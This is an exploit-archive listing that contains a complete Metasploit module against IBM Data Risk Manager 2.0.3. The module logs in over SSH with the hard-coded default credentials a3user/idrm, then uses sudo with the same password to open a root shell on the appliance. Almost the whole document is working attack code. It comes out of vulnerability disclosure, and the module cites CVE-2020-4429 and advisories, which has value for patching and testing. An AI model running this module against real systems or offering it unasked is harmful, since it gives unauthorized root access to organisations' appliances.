IBM Data Risk Manager 2.0.3 Default Password

2020.05.06
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info = {}) super( update_info( info, 'Name' => 'IBM Data Risk Manager a3user Default Password', 'Description' => %q{ This module abuses a known default password in IBM Data Risk Manager. The 'a3user' has the default password 'idrm' and allows an attacker to log in to the virtual appliance via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password. At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be affected, and the latest 2.0.6 is most likely affected too. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2020-4429' ], # insecure default password [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => '2020-04-21' ) ) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'Username to login with', 'a3user']), OptString.new('PASSWORD', [true, 'Password to login with', 'idrm']) ] ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def on_new_session(client) print_status("#{peer} - Escalating privileges to root, please wait a few seconds...") # easiest way I found to get passwordless root, not sure if there's a shorter command client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh") print_good("#{peer} - Done, enjoy your root shell!") end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def peer "#{rhost}:#{rport}" end def do_login(user, pass) factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: rport, use_agent: false, config: false, password: pass, proxy: factory, non_interactive: true, verify_host_key: :never } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError fail_with(Failure::Unknown, "#{peer} SSH - Connection error") rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation") rescue ::Timeout::Error fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation") rescue Net::SSH::AuthenticationFailed fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication") rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}") end return Net::SSH::CommandStream.new(ssh) if ssh nil end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...") conn = do_login(user, pass) if conn print_good("#{peer} - Login successful (#{user}:#{pass})") handler(conn.lsock) end end end


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